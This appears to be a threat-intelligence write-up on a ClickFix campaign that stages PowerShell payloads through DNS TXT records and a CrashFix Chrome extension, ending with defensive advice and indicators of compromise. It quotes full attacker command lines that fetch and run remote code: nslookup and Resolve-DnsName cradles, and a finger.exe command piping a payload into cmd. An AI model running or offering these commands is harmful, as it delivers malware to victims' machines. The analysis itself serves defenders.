Clickfix Dns Txt Malware Campaign

When DNS Becomes the Weapon: Inside the First ClickFix Campaign to Deliver Malware Through DNS Queries

When DNS Becomes the Weapon: Inside the First ClickFix Campaign to Deliver Malware Through DNS Queries

Introduction

In February 2026, Microsoft disclosed that the KongTuke threat group had weaponised DNS TXT records to stage malware payloads through nslookup—a first for the ClickFix social engineering technique. This analysis breaks down the methodology, the kill chain, and why most security stacks are blind to it.




CLICKFIX DNS ATTACK CHAIN — FROM COMPROMISED SITE TO MODELORAT SOCIAL ENGINEERING DNS PAYLOAD STAGING PAYLOAD DELIVERY EXECUTION PERSISTENCE & C2 1. Compromised Site Victim visits infected website or ad redirect 3,800+ sites 2. Fake CAPTCHA "Press Win+R, paste, then Enter" clipboard hijacked 3. DNS Query nslookup -type=TXT malicious.domain 84.21.189.20 Bypasses corporate DNS 4. PowerShell Base64 payload from DNS TXT response iex(decoded payload) Hidden window (-w h) 5. ModeloRAT Python RAT deployed Enterprise-only targeting modes.py + udp.pyw RC4 + DGA .top C2 DNS-BASED PAYLOAD DELIVERY — THE BLIND SPOT Victim Machine cmd.exe / pwsh Domain-joined host TXT query Attacker DNS 84.21.189.20 Hardcoded server IP TXT response TXT: "cABvAHcAZQByAHMAaABlAGwAbAAgAC0AdwAgAGgAIAA..." ^ Base64-encoded PowerShell payload in DNS response INVISIBLE TO URL filtering Web proxy SSL inspection File scanning Sigma rules 5/5 BLIND MODELORAT — POST-EXPLOITATION 1 Registry Run Key MonitoringService 2 Scheduled Task SoftwareProtection (5 min) 3 Startup Folder MonitoringService.lnk C2 BEACONING RC4 + zlib → DGA .top domains → /st2 ALTERNATIVE ENTRY: CRASHFIX VARIANT NexShield malicious extension cpcdkmjddocikjdkbbeiaafnpdbdafmi → Browser crash loop (infinite runtime ports) 10-min timer repeat → finger.exe LOLBin ct.exe → TCP 79 199.217.98.108 → Same PowerShell → same ModeloRAT payload KongTuke (TAG-124 / LandUpdate808) — Active since May 2024 — Customers: Rhysida, Interlock ransomware — Source: Microsoft, Huntress, Unit 42


Key Numbers

47%
Initial Access Share
517%
Surge in H1 2025
6+
Nation-State Adopters
3,800+
Compromised Sites

ClickFix is currently the number one initial access method observed by Microsoft Defender Experts, surpassing traditional phishing. ESET recorded a 517% surge in detections between H2 2024 and H1 2025. At least six nation-state APT groups from Russia, Iran, and North Korea have adopted it. And in February 2026, it gained a new capability that most defenders aren't ready for.

What Is ClickFix?

ClickFix is a social engineering technique where victims are tricked into copying a malicious command and pasting it into the Windows Run dialog (Win+R), a terminal, or PowerShell. Attackers present fake CAPTCHA challenges, browser error messages, or verification prompts on compromised websites. Behind the scenes, JavaScript silently writes a malicious command to the clipboard. The victim follows the instructions—"Press Win+R, then Ctrl+V, then Enter"—and executes the payload themselves.

First observed in March 2024 when initial access broker TA571 deployed it across 100,000+ phishing messages, ClickFix quickly became the technique of choice for both cybercrime syndicates and nation-state operators. By late 2024, builders were available on criminal forums for $200–$1,500/month.

Why ClickFix Works

The victim performs the execution manually. There is no malicious file to scan, no exploit to detect, and no attachment to sandbox. The payload executes with the user's full privileges because the user themselves ran it. Traditional email security, web proxies, and endpoint detection all have blind spots here.

CLICKFIX SOCIAL ENGINEERING FLOW
1
Victim visits compromised WordPress site
3,800+ sites injected with IClickFix JavaScript (Sekoia)
▼
2
Fake CAPTCHA / error prompt appears
"Verify you are human" — JavaScript writes malicious command to clipboard via navigator.clipboard.writeText()
▼
3
Victim follows instructions: Win+R → Ctrl+V → Enter
Command pasted into Windows Run dialog — stored in RunMRU registry key
▼
4
Payload executes with user's full privileges
No file download, no exploit, no attachment — user executed it themselves
No malicious file to scan · No exploit to detect · No sandbox trigger

DNS as a Payload Delivery Channel

On February 13, 2026, Microsoft Threat Intelligence (@MsftSecIntel) disclosed that the KongTuke threat group had evolved ClickFix to deliver payloads through DNS TXT records. This is the first known use of DNS as a delivery channel in ClickFix campaigns.

Previous ClickFix variants relied on HTTP/HTTPS to fetch payloads—PowerShell download cradles pulling from web servers, mshta.exe fetching HTA files, curl/certutil downloading binaries. All of these create artifacts that security tools are designed to catch: URL reputation lookups, SSL inspection, web proxy logs, file downloads.

KongTuke replaced all of that with a DNS query.

How It Works

Two approaches were observed, both achieving the same result through different mechanisms:

Approach A: cmd.exe + nslookup + findstr



cmd.exe /c for /f "tokens=2 delims=: " %a in ('nslookup -type=TXT malicioustxt.attackercontrolled.com 84.21.189.20 ^| findstr "Name:"') do @%a

The victim's machine queries the attacker's DNS server (84[.]21.189[.]20) for a TXT record. The response contains a Base64-encoded PowerShell command. findstr extracts the payload from the DNS response, and it executes directly.

Approach B: PowerShell + Resolve-DnsName

powershell -w h -ep bypass -c "iex((Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8).Strings -join '')"

This variant uses the PowerShell Resolve-DnsName cmdlet to query an attacker-controlled domain (bruemald[.]top) through Google DNS (8.8.8.8), bypassing corporate DNS filters entirely. The -w h flag hides the window. The victim sees nothing.

Why DNS Is a Blind Spot

DNS traffic (UDP/TCP 53) is permitted outbound on virtually every corporate network. TXT records are legitimate—they're used for SPF, DKIM, DMARC, and domain verification. No files are downloaded over HTTP. There are no URLs to block, no web proxy logs to inspect, and no SSL interception to perform. The entire initial payload delivery happens over a protocol most security stacks never inspect.

WHAT SECURITY SEES: TRADITIONAL CLICKFIX vs. DNS VARIANT
Traditional ClickFix
PowerShell → HTTP download → payload
URL reputation VISIBLE
Web proxy logs VISIBLE
SSL inspection VISIBLE
File download event VISIBLE
Sigma rule match VISIBLE
DNS Variant (New)
nslookup → DNS TXT → payload
URL reputation BLIND
Web proxy logs BLIND
SSL inspection BLIND
File download event BLIND
Sigma rule match BLIND
5 of 5 standard detection layers are bypassed by the DNS variant

The CrashFix Variant: Browser Extension as Entry Point

Parallel to the DNS approach, KongTuke deployed a separate attack chain called CrashFix.

A malicious Chrome extension named "NexShield — Advanced Web Guardian" was published to the Chrome Web Store, impersonating uBlock Origin Lite. It was downloaded 5,000+ times before removal. The extension ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi.

The attack sequence:

  1. Delayed trigger — Up to one hour after installation, the extension executes an infinite loop creating chrome.runtime port connections, exhausting browser memory. Chrome crashes.
  2. Social engineering on restart — When the browser restarts, a CrashFix popup appears, instructing the user to "fix" the issue by pasting a command.
  3. Persistence loop — If the user dismisses the popup without action, the extension crashes the browser again on a 10-minute timer. The cycle repeats until the user complies or removes the extension.
  4. finger.exe LOLBin abuse — The pasted command copies finger.exe from System32 to %TEMP%\ct.exe, then uses the finger protocol (TCP port 79) to fetch a PowerShell payload from 199.217.98[.]108 and pipe it directly to cmd.
cmd /c start "" /min cmd /c "copy %windir%\system32\finger.exe %temp%\ct.exe&%temp%\ct.exe [email protected]|cmd"

The finger protocol is a relic from the 1970s. Almost no security tool monitors TCP port 79. The binary finger.exe is signed by Microsoft and present on every Windows installation.

CRASHFIX BROWSER CRASH LOOP — COERCION CYCLE
🧩
Install
NexShield extension
from Chrome Web Store
→
⏱
Delay
10-min timer
(up to 1 hour)
→
💥
Crash
Infinite loop exhausts
browser memory
→
🔌
Restart
CrashFix popup
"fix the issue"
→
☠
Payload
finger.exe LOLBin
→ ModeloRAT
If dismissed → 10-min timer → crash again → repeat until compliance

The Payload: ModeloRAT

Both entry points—DNS and CrashFix—converge on the same final payload. A ZIP archive downloads from azwsappdev[.]com containing a WinPython bundle (run.exe) and the RAT components (modes.py, udp.pyw).

ModeloRAT is a previously undocumented Python-based RAT. Microsoft assigned it detection name Trojan:Python/ModeloRAT!MSR (ThreatID: 2147961433) on January 20, 2026.

Enterprise Targeting

ModeloRAT checks whether the host is domain-joined. If yes: full RAT deployment. If no: the C2 server responds with "TEST PAYLOAD!!!!" and stops. This is deliberate enterprise targeting—standalone consumer machines are ignored.

Anti-Analysis

Before executing, ModeloRAT scans running processes for 50+ analysis tools (Wireshark, x64dbg, IDA, Ghidra) and VM indicators (VMware, VirtualBox, QEMU). The C2 server implements a numeric fingerprint score—if the system doesn't resemble a real corporate victim, the server returns nothing.

C2 Protocol

Communications use RC4 encryption with a random 16-byte key, zlib compression, and a version marker (\xfe\xfe\x00\x01). Beaconing targets DGA-generated .top domains on endpoints /st2 and /1.php. Two hardcoded C2 servers: 170.168.103[.]208 and 158.247.252[.]178 (HTTP port 80).

Triple Persistence

MethodDetail
Registry Run Key HKCU\...\CurrentVersion\Run → value MonitoringService
Scheduled Task SoftwareProtection — runs every 5 minutes
Startup Folder MonitoringService.lnk → VBScript → ModeloRAT

All names are chosen to blend in with legitimate Windows services.

FULL KILL CHAIN — TWO ENTRY POINTS, ONE PAYLOAD
Entry Point A — DNS
Compromised website
↓
Fake CAPTCHA → clipboard injection
↓
nslookup / Resolve-DnsName
↓
DNS TXT response = Base64 PowerShell
↓
PowerShell executes
Entry Point B — CrashFix
NexShield extension installed
↓
Browser DoS (crash loop)
↓
CrashFix popup → "paste fix"
↓
finger.exe → TCP 79 → PowerShell
↓
PowerShell executes
▼ Both paths converge ▼
ZIP Download
azwsappdev[.]com
WinPython bundle
Domain Check
Domain-joined?
If no → "TEST PAYLOAD!!!!"
ModeloRAT
modes.py
RC4 + DGA .top C2
Persistence ×3
Run key + Sched task
+ Startup folder
Enterprise-only targeting · Anti-analysis (50+ tool checks) · Ransomware customers downstream

Who Is Behind It

KongTuke (a.k.a. TAG-124, LandUpdate808, Chaya_002) is a Traffic Distribution System (TDS) operator active since at least May 2024. They don't write the final malware—they sell access to victims. Their confirmed ransomware customers include Rhysida and Interlock. They also serve TA866/Asylum Ambuscade, SocGholish, and D3F@CK Loader operators.

ClickFix Adoption by Nation-States

ActorNationFirst ClickFix Use
TA422 / APT28 / Fancy Bear Russia (GRU) October 2024
TA450 / MuddyWater Iran (MOIS) November 2024
UNK_RemoteRogue Russia December 2024
COLDRIVER / Star Blizzard Russia (FSB) January 2025
TA427 / Kimsuky North Korea (RGB) January 2025
Lazarus Group North Korea (RGB) February 2025

Why Current Defenses Miss It

The DNS delivery method exploits structural blind spots in most enterprise security architectures:

  • DNS inspection gap — Most organisations allow DNS egress without deep packet inspection. TXT record content is rarely logged or analysed.
  • No HTTP artifacts — URL filtering, web proxies, and SSL inspection are irrelevant. There is no HTTP connection to inspect.
  • LOLBin trust — Both nslookup.exe and finger.exe are Microsoft-signed system binaries. Application whitelisting permits them by default.
  • Sigma rule gaps — The two SigmaHQ rules for nslookup cradles (written in 2022) miss both variants: Approach A uses cmd.exe as the parent process, not PowerShell; Approach B uses Resolve-DnsName, not nslookup.exe.
  • User-executed payload — The victim performs the execution manually via Win+R. There is no malicious process spawn from a document, browser exploit, or email attachment.
Detection Gap

The attacker can hardcode their own DNS server IP (84[.]21.189[.]20) directly in the command, bypassing corporate DNS entirely. Alternatively, using public resolvers like Google DNS (8.8.8.8) avoids DNS-layer security controls that only inspect queries routed through the corporate resolver.

What Defenders Should Do

  • Monitor RunMRU — The registry key HKCU\...\Explorer\RunMRU stores every command pasted into the Windows Run dialog. Alert on entries containing nslookup, powershell, mshta, curl, or Base64-encoded content.
  • Log DNS TXT queries — Enable DNS query logging and alert on TXT record lookups to external DNS servers, especially from nslookup.exe or PowerShell processes.
  • Restrict direct DNS — Block outbound DNS (UDP/TCP 53) to all destinations except approved resolvers. This prevents attackers from hardcoding their own DNS server IP.
  • Monitor finger protocol — Alert on any TCP port 79 traffic. The finger protocol has no legitimate use in modern enterprise environments.
  • Hunt for persistence indicators — Search for scheduled tasks named SoftwareProtection, Run key values named MonitoringService, and pythonw.exe executing modes.py.
  • Deploy RPZ blocklists — Block the known campaign domains at the DNS resolver level using Response Policy Zones.
  • Inspect browser extensions — Audit for extension ID cpcdkmjddocikjdkbbeiaafnpdbdafmi and any extensions communicating with nexsnield[.]com.

MITRE ATT&CK Mapping

T1204.004 Malicious Copy and Paste T1059.001 PowerShell T1059.003 Windows Command Shell T1059.006 Python T1071.004 DNS T1071.001 Web Protocols T1105 Ingress Tool Transfer T1583.002 Acquire Infrastructure: DNS Server T1547.001 Registry Run Keys / Startup Folder T1053.005 Scheduled Task T1027 Obfuscated Files T1573.001 Symmetric Cryptography T1568.002 Domain Generation Algorithms T1176.001 Browser Extensions T1482 Domain Trust Discovery T1033 System Owner/User Discovery T1132.001 Standard Encoding

Timeline

March 2024
ClickFix first observed — TA571 deploys across 100,000+ messages (Proofpoint)
October 2024
First nation-state adoption — APT28/Fancy Bear uses ClickFix (CERT-UA)
Late 2024
ClickFix builders appear on criminal forums ($200–$1,500/month)
August 21, 2025
Microsoft publishes "Think before you Click(Fix)" — 47% initial access share
H1 2025
ESET reports 517% detection surge (H2 2024 vs H1 2025)
January 20, 2026
Microsoft publishes ModeloRAT threat encyclopedia entry (ThreatID: 2147961433)
February 3, 2026
Unit 42 publishes KongTuke ClickFix IOCs on GitHub
February 5, 2026
Microsoft Security Blog: CrashFix variant deploying Python RAT
February 13, 2026
@MsftSecIntel discloses DNS/nslookup ClickFix variant — first known DNS delivery in ClickFix

Indicators of Compromise

C2 IP Addresses

IPRoleSource
84[.]21.189[.]20 Attacker-controlled DNS server (hardcoded in nslookup) Microsoft                
170.168.103[.]208 ModeloRAT C2 (HTTP port 80) Microsoft
158.247.252[.]178 ModeloRAT C2 (HTTP port 80) Microsoft
199.217.98[.]108 finger.exe payload server (TCP 79) SANS ISC
144.31.221[.]197 ZIP archive download server Microsoft
69[.]67.173[.]30 Obfuscated PowerShell script server Microsoft

Domains

DomainRoleSource
azwsappdev[.]com ZIP archive hosting Microsoft
nexsnield[.]com NexShield extension C2 (typosquat) Malwarebytes
bruemald[.]top DNS TXT payload staging Microsoft
morasota[.]top DNS TXT payload staging Microsoft
captchaver[.]top Finger protocol payload server SANS ISC
emierich[.]com ClickFix distribution SANS ISC
aacobson[.]com ClickFix distribution SANS ISC
hermisron[.]com Payload delivery SANS ISC
frugesta[.]top Secondary payload SANS ISC
raxelpak[.]com macOS ClickFix payload delivery SANS ISC

File Hashes (SHA-256)

HashDescription
c46af9ae...199c NexShield malicious Chrome extension CRX
beb02290...7006 ct.exe (renamed finger.exe LOLBin)
a82dd540...fea53 PowerShell payload via DNS TXT (16,790 bytes)
061d378f...2798c8 KongTuke/ClickFix campaign artifact
592ef770...4718 KongTuke/ClickFix campaign artifact
8fb329ae...8629 KongTuke/ClickFix campaign artifact
d9ffe7d4...0c9 KongTuke/ClickFix campaign artifact
f77c9242...ebab KongTuke/ClickFix campaign artifact

Host Indicators

TypeValueDescription
Registry HKCU\...\CurrentVersion\Run Value: MonitoringService
Scheduled Task SoftwareProtection Runs run.exe udp.pyw every 5 min
Startup MonitoringService.lnk In %STARTUP% folder
Chrome Extension cpcdkmjddocikjdkbbeiaafnpdbdafmi NexShield — removed from Web Store
File modes.py Core ModeloRAT script
File udp.pyw Initial Python payload
File ct.exe Renamed finger.exe in %TEMP%

Microsoft Defender Detections

Detection NameDescription
Trojan:Python/ModeloRAT!MSR ModeloRAT signature (ThreatID: 2147961433)
Behavior:Win32/ClickFix.SZ Behavioral ClickFix detection
Trojan:Win32/ClickFix.R!ml ML-based ClickFix detection